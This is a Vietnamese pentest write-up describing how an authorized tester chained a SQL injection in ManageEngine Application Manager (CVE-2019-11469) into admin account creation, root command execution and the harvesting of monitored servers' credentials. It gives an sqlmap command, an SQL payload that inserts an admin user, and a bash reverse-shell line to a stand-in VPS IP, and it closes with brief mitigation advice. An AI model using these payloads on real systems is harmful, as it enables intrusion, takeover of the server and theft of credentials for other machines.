Lỗ hổng SQL Injection dẫn tới RCE trên ứng dụng ManageEngine Application

TL;DR

Tóm tắt quá trình phát hiện lỗ hổng này của mình chỉ đơn giản các bước như sau:

  1. Sau khi test xong với domain chính, quay sang enum subdomain và tìm ra một sub khá thú vị sử dụng ManageEngine Application Manager (MEAM)
  2. Khai thác lỗ hổng SQL injection để tạo một tài khoản sử dụng hệ thống với quyền admin
  3. Thông qua “tính năng” của MEAM giúp người tấn công dễ dàng có được RCE


Một ngày đẹp trời giống như bao ngày đẹp trời khác, mình đang lang thang trên các sub-domain mà mình vừa quét của các target nằm trong chương trình pentest của công ty. Lớ ngớ vớ đúng ẻm ManageEngine đang nằm chờ sẵn đợi mình khai thác em nó, hehe. Vì chương trình bounty là nội bộ nên mình xin phép sẽ đổi tên miền target thành http://redacted.com/

Tóm gọn cái Application Manager được sử dụng để làm gì?

“Application Manager giúp quản trị viên, nhà điều hành CNTT giám sát trung tâm dữ liệu, cơ sở hạ tầng CNTT của doanh nghiệp’’
MEAM là một ứng dụng có nhiều quyền hạn, có thể theo dõi và vá lỗi của các máy chủ ảo & vật lý, ứng dụng, v.v… từ xa. Các bạn có thể xem thêm về sản phẩm này ở đây

Quá trình phát hiện & tấn công lỗ hổng


Điều đầu tiên nghĩ đến trong đầu mình là tìm kiếm thông tin về các lỗi của sản phẩm này trên các db lớn về lỗ hổng như Mitre CVE, exploit-db

Nhìn kỹ phần trang sản phẩm thì ta có thể thấy có vẻ như sản phẩm này đã lâu chưa được update -> có thể khai thác các lỗ hổng đã được public gần đây (mình mong là như vậy ^^)

cIm_x8g5PXAgsMQCcdq6cg.jpeg

Lần mò một lúc và cuối cùng mình cũng đã tạo được tài khoản với quyền admin nhờ lỗi SQL Injection.  (CVE-2019-11469)

Nói sơ qua về lỗ hổng này và hướng đi cũng không có gì quá phức tạp. Theo các nguồn thông tin mà mình tìm hiểu được thì có một endpoint có lỗi SQL Injection mà không cần xác thực người dùng thông qua tham số resourceid. Kỹ thuật sử dụng ở đây là Stacked Queries

“http://redacted.com/ jsp/FaultTemplateOptions.jsp”

Sau khi chạy sqlmap cho ra kết quả như dưới hình

payload sqlmap: "sqlmap -u http://redacted.com/jsp/FaultTemplateOptions.jsp --data=”resourceid=1" -p “resourceid” --method POST --sql-shell"

uW9Fo12N9exDYOsSGZHAnQ.jpeg

Đến đây thì mọi thứ đã dễ dàng hơn khá nhiều rồi. Ta tiếp tục sử dụng sqli để tạo tài khoản admin trong trường hợp MEAM sử dụng db là postgres. Còn đối với MSSQL thì trong link exploit mình chia sẻ ở trên cũng giống nhau.

Payload SQLi:

"1;insert+into+AM_UserPasswordTable+(userid,username,password)+values+($$490$$,$${user_name}$$,$${md5_hash}$$);insert+into+Am_UserGroupTable+(username,groupname)+values+($${user_name}$$,$$ADMIN$$);-- +"

Payload trên thực hiện Insert user vào table User của MEAM, và insert role admin cho user đó và table Am_UserGroupTable.

$$490$$: ID của account inject vào database (random)

{user_name}: tên đăng nhập

{md5_hash}: mật khẩu đã được hash qua MD5

2MVVCPYWf0GgLvJpWctMLw.jpeg

Đăng nhập vào hệ thống với username và password chúng ta vừa inject vào server. Điều kỳ diệu xảy ra.

nYKOaE1S96rYA0y0mgfxZw.jpeg

Khai thác lỗ hổng RCE trên ứng dụng

MEAM cho phép người dùng có quyền admin có thể upload file lên máy chủ mà không có bất cứ sự hạn chế nào về kiểu file (có thể up shell, file sh,..)

-SWWTVVdu53yGdLtt5ED5A.jpeg 

Đối với MEAM, đường dẫn đến thư mục hiện tại mà ứng dụng đang sử dụng trong trường hợp này là /opt/ME/AppManager12 => sử dụng hệ điều hành linux

Ta tạo một bash script đơn giản để setup reverse shell

Nội dung của file reverse_shell.sh

bash -i > /dev/tcp/YOUR_VPS_IP/4444 0>&1

Một “tính năng” của MEAM đó là cho phép người dùng có quyền admin có thể thực thi script trên hệ thống với quyền root…

Image for post

Điều hướng đến tab Actions -> Execute Program

Image for post

Tạo action mới, setting như hình dưới đây.

Image for post

Chạy netcat listener ở VPS của bạn, sau đó ta điều hướng về Actions -> View Actions. Một cú click và chúng ta đã có RCE

Image for post

Reverse shell

Image for post

Khuyến cáo cho các hệ thống hiện đang sử dụng MEAM để quản lý hệ thống server, ứng dụng:

  1. Cập nhật ứng dụng thường xuyên.
  2. Không cho phép truy cập từ mạng bên ngoài vào các ứng dụng mang tính nội bộ, hệ thống monitor,..


Ngoài lề

Với bản chất tò mò, mình quyết định tìm hiểu xem có còn lại gì sau cơn mưa hay không :(

Vô tình đi ngang qua một blog research security Việt Nam, mình đã tìm ra được thêm một lỗi nữa đó là lộ thông tin username và password của các server được ứng dụng này giám sát (Linux, Window server, MySQL, Oracle server, ...)

Ta điều hướng đến Edit monitor -> Chọn một monitor, server bất kỳ ở trong list. Ở đây mình chọn một database trong 1 tỉ cái monitor.

Image for post

Bật burp suite lên, ta thực hiện Test Credential. Client sẽ gửi một request đến phía server để authenticate

Image for postCapture được username và password của database

Response trả về của server khi thông tin chính xác

Image for post

Response trả về của server khi thông tin sai

_-Jg_kd7hMbAM7ylKZD-Zw.jpeg

Trong trường hợp hacker khai thác lỗ hổng của ManageEngine và chiếm quyền được hệ thống cài đặt ứng dụng này, do MEAM sử dụng SSH để giám sát các server nên hacker có thể dễ dàng RCE đến các server khác trong nội bộ.